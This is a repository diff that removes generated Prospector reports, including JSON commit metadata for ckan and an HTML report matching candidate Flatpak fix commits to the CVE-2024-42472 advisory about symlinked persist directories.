- "matched_rules": [] - }, - { - "commit_id": "037a8b4a9512cbb8a39132196f5d72f1aec417c3", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723718885, - "hunks": 5, - "message": "Lint, changelog (cherry picked from commit c15e7a12556ec228fadbdbd562d69e3d0c3146f2)", - "changed_files": [ - "changes/8397.misc", - "ckan/cli/config.py", - "ckan/config/declaration/__init__.py", - "ckan/config/declaration/serialize.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [] - }, - { - "commit_id": "830f4fefee10234c1c903e2dd24d080555884d95", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723800183, - "hunks": 1, - "message": "Add test case for direct non-string extras", - "changed_files": [ - "ckan/tests/logic/action/test_create.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "3ffdc55caaab10dbb10b62e75a881a9596e2c50c", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1685387263, - "hunks": 1, - "message": "remove unused import", - "changed_files": [ - "ckan/plugins/toolkit.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [] - }, - { - "commit_id": "4b52050a135bfc9a6e1b524e4e243fd707e307ac", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723719114, - "hunks": 1, - "message": "More lenient line length setting for linting", - "changed_files": [ - ".flake8" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "c15e7a12556ec228fadbdbd562d69e3d0c3146f2", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723718885, - "hunks": 5, - "message": "Lint, changelog", - "changed_files": [ - "changes/8397.misc", - "ckan/cli/config.py", - "ckan/config/declaration/__init__.py", - "ckan/config/declaration/serialize.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [], - "matched_rules": [] - }, - { - "commit_id": "d586c43b99f858a4169790854b36af9069f84ad6", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723632716, - "hunks": 1, - "message": "Fix types", - "changed_files": [ - "ckan/lib/app_globals.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [] - }, - { - "commit_id": "3923051e92d692d3e1fe10ee03622dffea6324d2", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1712316427, - "hunks": 4, - "message": "Fix version handling in docs configuration Remove completely our own version parsing and rely on the one from packaging. Older versions of packaging used to be more lenient with our release tags (\"ckan-x.y.z\") but now they will fail. We need to remove the `ckan-` bit before parsing.", - "changed_files": [ - "doc/conf.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.10.5" - ], - "matched_rules": [] - }, - { - "commit_id": "04fc7ea09b54fda37d8364ef5911c03540de47c3", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1717529067, - "hunks": 1, - "message": "remove comma", - "changed_files": [ - "ckan/tests/logic/test_validators.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [] - }, - { - "commit_id": "55166496cdc65378bf5e7b895e2d6c904526a169", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1717528998, - "hunks": 3, - "message": "add tests, changes file", - "changed_files": [ - "changes/7723.changes", - "ckan/tests/logic/action/test_create.py", - "ckan/tests/logic/test_validators.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [] - }, - { - "commit_id": "58823d943e8b907c6abd639130f7716399818f22", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1700691616, - "hunks": 1, - "message": "remove breakpoint", - "changed_files": [ - "ckan/logic/validators.py" - ], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [] - }, - { - "commit_id": "6d42e1c93e4e74813edd411025bdf15e8243bb06", - "repository": "https://github.com/ckan/ckan", - "timestamp": 1723461806, - "hunks": 0, - "message": "Merge branch 'dev-v2.11' of github.com:ckan/ckan into dev-v2.11", - "changed_files": [], - "message_reference_content": [], - "jira_refs": {}, - "ghissue_refs": {}, - "cve_refs": [], - "twins": [], - "tags": [ - "ckan-2.11.0" - ], - "matched_rules": [] - } - ], - "processing_statistics": { - "core": { - "git": { - "git": { - "Git": { - "create_commits": { - "execution time": [ - 0.014716709032654762 - ] - } - } - } - }, - "commit preprocessing": { - "execution time": [ - 0.6004105284810066 - ] - }, - "candidates analysis": { - "execution time": [ - 0.820071954280138 - ] - }, - "save commits to backend": { - "execution time": [ - 1.2630132008343935 - ] - }, - "execution time": [ - 4.899934267625213 - ] - }, - "rules": { - "active": [ - 17 - ], - "matches": [ - 96 - ] - }, - "LLM": { - "repository_url": { - "execution time": [ - 1.4526245836168528 - ] - }, - "commit_classification": { - "execution time": [ - 0.017231198027729988, - 0.0168464332818985, - 0.11460173688828945, - 0.41705089062452316, - 0.03072887659072876, - 0.01608401909470558, - 0.015443233773112297, - 0.014879334717988968, - 0.014940354973077774, - 0.014533022418618202 - ] - } - } - } -} \ No newline at end of file diff --git a/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html b/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html deleted file mode 100644 index 6218385d0..000000000 --- a/prospector/pipeline/reports/CVE-2024-42472_1c52c1c9-aabf-4a15-8a28-7516cb2f2321.html +++ /dev/null @@ -1,8564 +0,0 @@ - - - - - - - - - - - - - - - - Prospector Report - - - - -
    -
    -
    - - -

    Filters

    -

    - Use the slider to filter out lower relevance scores and the button to collapse or expand all the commits. -

    - -
    -
    - -
    -
    - -
    -
    - - - - -
    -

    Advisory Record

    - CVE-2024-42472
    -

    Flatpak is a Linux application sandboxing and distribution framework. Prior to versions 1.14.0 and 1.15.10, a malicious or compromised Flatpak app using persistent directories could access and write files outside of what it would otherwise have access to, which is an attack on integrity and confidentiality. - -When `persistent=subdir` is used in the application permissions (represented as `--persist=subdir` in the command-line interface), that means that an application which otherwise doesn't have access to the real user home directory will see an empty home directory with a writeable subdirectory `subdir`. Behind the scenes, this directory is actually a bind mount and the data is stored in the per-application directory as `~/.var/app/$APPID/subdir`. This allows existing apps that are not aware of the per-application directory to still work as intended without general home directory access. - -However, the application does have write access to the application directory `~/.var/app/$APPID` where this directory is stored. If the source directory for the `persistent`/`--persist` option is replaced by a symlink, then the next time the application is started, the bind mount will follow the symlink and mount whatever it points to into the sandbox. - -Partial protection against this vulnerability can be provided by patching Flatpak using the patches in commits ceec2ffc and 98f79773. However, this leaves a race condition that could be exploited by two instances of a malicious app running in parallel. Closing the race condition requires updating or patching the version of bubblewrap that is used by Flatpak to add the new `--bind-fd` option using the patch and then patching Flatpak to use it. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=bwrap` (1.15.x) or `--with-system-bubblewrap=bwrap` (1.14.x or older), or a similar option, then the version of bubblewrap that needs to be patched is a system copy that is distributed separately, typically `/usr/bin/bwrap`. This configuration is the one that is typically used in Linux distributions. If Flatpak has been configured at build-time with `-Dsystem_bubblewrap=` (1.15.x) or with `--without-system-bubblewrap` (1.14.x or older), then it is the bundled version of bubblewrap that is included with Flatpak that must be patched. This is typically installed as `/usr/libexec/flatpak-bwrap`. This configuration is the default when building from source code. - -For the 1.14.x stable branch, these changes are included in Flatpak 1.14.10. The bundled version of bubblewrap included in this release has been updated to 0.6.3. For the 1.15.x development branch, these changes are included in Flatpak 1.15.10. The bundled version of bubblewrap in this release is a Meson "wrap" subproject, which has been updated to 0.10.0. The 1.12.x and 1.10.x branches will not be updated for this vulnerability. Long-term support OS distributions should backport the individual changes into their versions of Flatpak and bubblewrap, or update to newer versions if their stability policy allows it. As a workaround, avoid using applications using the `persistent` (`--persist`) permission.

    - - -
    Possible relevant files/methods
    -

    -

      - -
    • $APPID
    • - -
    • bind-fd
    • - -
    • build-time
    • - -
    • command-line
    • - -
    • Dsystem_bubblewrap
    • - -
    • Dsystem_bubblewrap=bwrap
    • - -
    • flatpak-bwrap
    • - -
    • Long-term
    • - -
    • per-application
    • - -
    • with-system-bubblewrap=bwrap
    • - -
    • without-system-bubblewrap
    • - -
    -

    - - -
    Other relevant keywords
    -

    - -

  • 98f79773
  • - - -
  • access
  • - - -
  • allow
  • - - -
  • application
  • - - -
  • attack
  • - - -
  • avoid
  • - - -
  • backport
  • - - -
  • bind
  • - - -
  • branch
  • - - -
  • bubblewrap
  • - - -
  • build
  • - - -
  • bwrap
  • - - -
  • ceec2ffc
  • - - -
  • change
  • - - -
  • close
  • - - -
  • code
  • - - -
  • command
  • - - -
  • commit
  • - - -
  • compromise
  • - - -
  • condition
  • - - -
  • confidentiality
  • - - -
  • configuration
  • - - -
  • configure
  • - - -
  • copy
  • - - -
  • datum
  • - - -
  • default
  • - - -
  • development
  • - - -
  • directory
  • - - -
  • distribute
  • - - -
  • distribution
  • - - -
  • exist
  • - - -
  • exploit
  • - - -
  • file
  • - - -
  • flatpak
  • - - -
  • follow
  • - - -
  • framework
  • - - -
  • have
  • - - -
  • home
  • - - -
  • include
  • - - -
  • instal
  • - - -
  • instance
  • - - -
  • integrity
  • - - -
  • intend
  • - - -
  • interface
  • - - -
  • leave
  • - - -
  • libexec
  • - - -
  • line
  • - - -
  • linux
  • - - -
  • mean
  • - - -
  • meson
  • - - -
  • mount
  • - - -
  • need
  • - - -
  • option
  • - - -
  • parallel
  • - - -
  • patch
  • - - -
  • permission
  • - - -
  • point
  • - - -
  • policy
  • - - -
  • protection
  • - - -
  • provide
  • - - -
  • race
  • - - -
  • release
  • - - -
  • replace
  • - - -
  • represent
  • - - -
  • require
  • - - -
  • sandbox
  • - - -
  • sandboxing
  • - - -
  • scene
  • - - -
  • source
  • - - -
  • stability
  • - - -
  • start
  • - - -
  • store
  • - - -
  • subdir
  • - - -
  • subdirectory
  • - - -
  • subproject
  • - - -
  • support
  • - - -
  • symlink
  • - - -
  • system
  • - - -
  • term
  • - - -
  • time
  • - - -
  • update
  • - - -
  • user
  • - - -
  • version
  • - - -
  • vulnerability
  • - - -
  • work
  • - - -
  • workaround
  • - - -
  • write
  • - - -

    - -
    - - - -
    -
    -
    Execution Statistics
    - -
    -
    -
    • core
      • git
        • git
          • Git
            • create_commits
              • execution time is a list of numbers
                • average = 0.01077865498761336 seconds
                • deviation = 0.0011609629949517956 seconds
                • median = 0.011356359347701073 seconds
                • count = 3
                • sum = 0.03233596496284008 seconds
      • commit preprocessing
        • execution time = 0.2162 seconds
      • candidates analysis
        • execution time = 0.3231 seconds
      • save commits to backend
        • execution time = 0.02379 seconds
      • execution time = 3.097 seconds
    • rules
      • active = 17 rules
      • matches = 127 matches
    • LLM
      • repository_url
        • execution time = 1.616 seconds
      • commit_classification
        • execution time is a list of numbers
          • average = 0.015187253057956696 seconds
          • deviation = 0.0007255810734610204 seconds
          • median = 0.014952042140066624 seconds
          • count = 10
          • sum = 0.15187253057956696 seconds
    -
    -
    - -
    - -
    -
    -
    -
    -

    Prospector Report

    -
    - - -
    -
    - -
    - -
    -
    -
    -
    -
    - persist directories: Pass using new bwrap --bind-fd option Instead... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 174 -
    - -
    -
    -
    - - Tag: 1.14.10 -
    -
    -
    -
    -
    - - - - COMMIT_IN_REFERENCE - - VULN_ID_IN_MESSAGE - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_MSG - - COMMIT_HAS_TWINS - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7c63e53bb2af0aae9097fd2edfd6a9ba9d453e97 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit is mentioned 5 times in the references.
      -
    • - -
    • -
      The commit message mentions the vulnerability ID
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: bind-fd
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: change, bubblewrap, bwrap, require, option, version, update, replace, bind, close, start, mount, symlink
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      persist directories: Pass using new bwrap --bind-fd option Instead of passing a /proc/self/fd bind mount we use --bind-fd, which has two advantages: * bwrap closes the fd when used, so it doesn't leak into the started app * bwrap ensures that what was mounted was the passed in fd (same dev/ino), as there is a small (required) gap between symlink resolve and mount where the target path could be replaced. Please note that this change requires an updated version of bubblewrap. Resolves: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Make whitespace consistent] Co-authored-by: Simon McVittie <smcv@collabora.com> Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-context.c - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Don't follow symlinks when mounting persisted directories These... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 170 -
    - -
    -
    -
    - - Tag: 1.14.10 -
    -
    -
    -
    -
    - - - - COMMIT_IN_REFERENCE - - VULN_ID_IN_MESSAGE - - SEC_KEYWORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_MSG - - COMMIT_HAS_TWINS - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8a18137d7e80f0575e8defabf677d81e5cc3a788 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit is mentioned 5 times in the references.
      -
    • - -
    • -
      The commit message mentions the vulnerability ID
      -
    • - -
    • -
      The commit message contains some security-related keywords: vulnerability, malicious
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: time, distribution, follow, change, bubblewrap, provide, file, commit, compromise, work, vulnerability, access, allow, avoid, application, instance, mount, symlink
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Don't follow symlinks when mounting persisted directories These directories are in a location under application control, so we can't trust them to not be a symlink outside of the files accessibe to the application. Continue to treat --persist=/foo as --persist=foo for backwards compat, since this is how it (accidentally) worked before, but print a warning. Don't allow ".." elements in persist paths: these would not be useful anyway, and are unlikely to be in use, however they could potentially be used to confuse the persist path handling. This partially addresses CVE-2024-42472. If only one instance of the malicious or compromised app is run at a time, the vulnerability is avoided. If two instances can run concurrently, there is a time-of-check/time-of-use issue remaining, which can only be resolved with changes to bubblewrap; this will be resolved in a separate commit, because the bubblewrap dependency might be more difficult to provide in LTS distributions. Helps: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Make whitespace consistent] [smcv: Use g_warning() if unable to create --persist paths] [smcv: Use stat() to detect symlinks and warn about them] [smcv: Use glnx_steal_fd() for portability to older GLib] Co-authored-by: Simon McVittie <smcv@collabora.com> Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-context.c - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add test coverage for --persist This adds three "positive" tests:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 166 -
    - -
    -
    -
    - - Tag: 1.14.10 -
    -
    -
    -
    -
    - - - - COMMIT_IN_REFERENCE - - VULN_ID_IN_MESSAGE - - ADV_KEYWORDS_IN_MSG - - COMMIT_HAS_TWINS - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - db3a785241fda63bf53f0ec12bb519aa5210de19 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit is mentioned 5 times in the references.
      -
    • - -
    • -
      The commit message mentions the vulnerability ID
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: symlink, directory
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add test coverage for --persist This adds three "positive" tests: the common case --persist=.persist, the deprecated spelling --persist=/.persist, and the less common special case --persist=. as used by Steam. It also adds "negative" tests for CVE-2024-42472: if the --persist directory is a symbolic link or contains path segment "..", we want that to be rejected. Reproduces: CVE-2024-42472, GHSA-7hgv-f2j8-xw87 [smcv: Add "positive" tests] [smcv: Exercise --persist=..] [smcv: Assert that --persist with a symlink produces expected message] Co-authored-by: Simon McVittie <smcv@collabora.com> Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - tests/test-run.sh - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - build: Require a version of bubblewrap with the --bind-fd option We... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 112 -
    - -
    -
    -
    - - Tag: 1.14.10 -
    -
    -
    -
    -
    - - - - VULN_ID_IN_MESSAGE - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 847dfb88cebbdf8825332730b837489684dfb91e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message mentions the vulnerability ID
      -
    • - -
    • -
      The commit modifies code containing relevant filename or methods: bind-fd
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: condition, distribution, option, bubblewrap, race, require, backport, version, branch, bind, subproject, close, need, build
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: subproject, bubblewrap, configure
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      build: Require a version of bubblewrap with the --bind-fd option We need this for the --bind-fd option, which will close a race condition in our solution to CVE-2024-42472. In the bundled subproject, upgrade bubblewrap to version 0.6.3, which has a backport from 0.10.0 of the required option. For this stable branch, check the --help output for a --bind-fd option instead of requiring a specific version number, to accommodate possible backports in LTS distributions. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - configure.ac - - subprojects/bubblewrap - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - build: Bump required bubblewrap version to 0.9.901 (0.10.0 rc1) We... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 104 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - VULN_ID_IN_MESSAGE - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - bb8759ea107c20bda34ae89fcf17b7bbba229399 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message mentions the vulnerability ID
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: condition, option, bubblewrap, race, require, version, bind, close, need, build
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: meson, build, subproject, bubblewrap
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      build: Bump required bubblewrap version to 0.9.901 (0.10.0 rc1) We need this for the --bind-fd option, which will close a race condition in our solution to CVE-2024-42472. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - meson.build - - subprojects/bubblewrap.wrap - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - NEWS, configure.ac: Update for version 1.14.10 Signed-off-by: Simon... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 48 -
    - -
    -
    -
    - - Tag: 1.14.10 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - COMMIT_IS_SECURITY_RELEVANT - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9ad26d7e3268a6d0f92a4b06d65ff237e44c384c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: bind-fd
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: version, configure, update
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: configure
      -
    • - -
    • -
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      NEWS, configure.ac: Update for version 1.14.10 Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - NEWS - - configure.ac - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - tests/build: Stop sharing the same environment for all tests This... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 16 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 6519993de8ab0ec6ccdf4d8dff679d03d916360c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: flatpak-bwrap
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: allow, build
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: meson, build
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      tests/build: Stop sharing the same environment for all tests This allows us to pass different environments to different tests.
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - tests/meson.build - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update NEWS Signed-off-by: Simon McVittie <smcv@collabora.com> - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 14 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - ADV_KEYWORDS_IN_MSG - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - a32f231910476bd2ebf6ad015ce72285e64dd6a4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: build-time
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: update
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update NEWS Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - NEWS - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - run: Debug-log sources of parameters other than overrides Every time... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 260e4b374bae8e35aa0169669832f9e42056975f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: command-line
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: time, option, line, sandbox, source, command, sandboxing
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      run: Debug-log sources of parameters other than overrides Every time we load something into the context, debug-log what it was. Again, the more involved parts of this are skipped if debug logging is disabled. This will help to diagnose what is going on if the app metadata or the command-line options are setting sandboxing parameters that break an app. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-run.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - run: Test whether sysfs mountpoints are accessible before mounting... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 07f55b32a5323b584e0061bf4337071603fee67b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: command-line
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: bwrap, subdir, file, line, sandbox, point, application, access, command, mount, permission
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      run: Test whether sysfs mountpoints are accessible before mounting them In some restrictive environments like Whonix, access to /sys/ is blocked by file permissions (chmod 0700 /sys). Previously, Flatpak would give bwrap a command-line that will fail altogether in these locked-down environments. Instead, fall back to running the app with no access to these /sys subdirectories. The application will be unable to enumerate game controllers and similar hardware devices in this situation, but that's the same limited functionality that would be seen for a non-sandboxed application. Resolves: https://github.com/flatpak/flatpak/issues/5138
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-run.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - common: Move OCI registry manipulation into FlatpakOciRegistry This... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 12 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - RELEVANT_WORDS_IN_MESSAGE - - ADV_KEYWORDS_IN_MSG - - -
    -
    -
    -
    - - - - -
    -
    -
    - 89f8f3767ad4483dc2e175a4b0a76d4067ba1937 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message contains some relevant words: build-time
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: time, option, provide, version, mean, build
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      common: Move OCI registry manipulation into FlatpakOciRegistry This is a step towards making flatpak-utils conceptually "smaller" than all other translation units, with no dependencies beyond GLib and libglnx. In particular, consolidating all the OCI registry manipulation into one place means we can build other translation units without libarchive. This would also be a step towards being able to provide a build-time option to build a libostree-only version of Flatpak without the OCI feature or the direct libarchive dependency, if someone wanted to implement that. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - common/flatpak-oci-registry-private.h - - common/flatpak-oci-registry.c - - common/flatpak-utils-private.h - - common/flatpak-utils.c - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - subprojects: Update dbus-proxy.wrap to v0.1.6 We still only require... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 368cf26f8da82e81f26fb1797080668af3579ed1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: require, release, update, subproject, system
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: subproject
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      subprojects: Update dbus-proxy.wrap to v0.1.6 We still only require a system xdg-dbus-proxy to be v0.1.0 or later, although a newer release is recommended. Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - subprojects/dbus-proxy.wrap - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - NEWS, meson.build: Update for version 1.15.10 Signed-off-by: Simon... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 501dc75bc80f4a69e2015ae3d9a226d42413c77e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: meson, build, version, update
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: meson, build
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      NEWS, meson.build: Update for version 1.15.10 Signed-off-by: Simon McVittie <smcv@collabora.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - NEWS - - meson.build - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - build: Require bubblewrap 0.10.0 This is functionally equivalent to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: 1.15.10 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 417f3ca47ca2f620e6489b2a2cb437dbc803a37f -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: build, require, bubblewrap, release
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: meson, build, subproject, bubblewrap
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
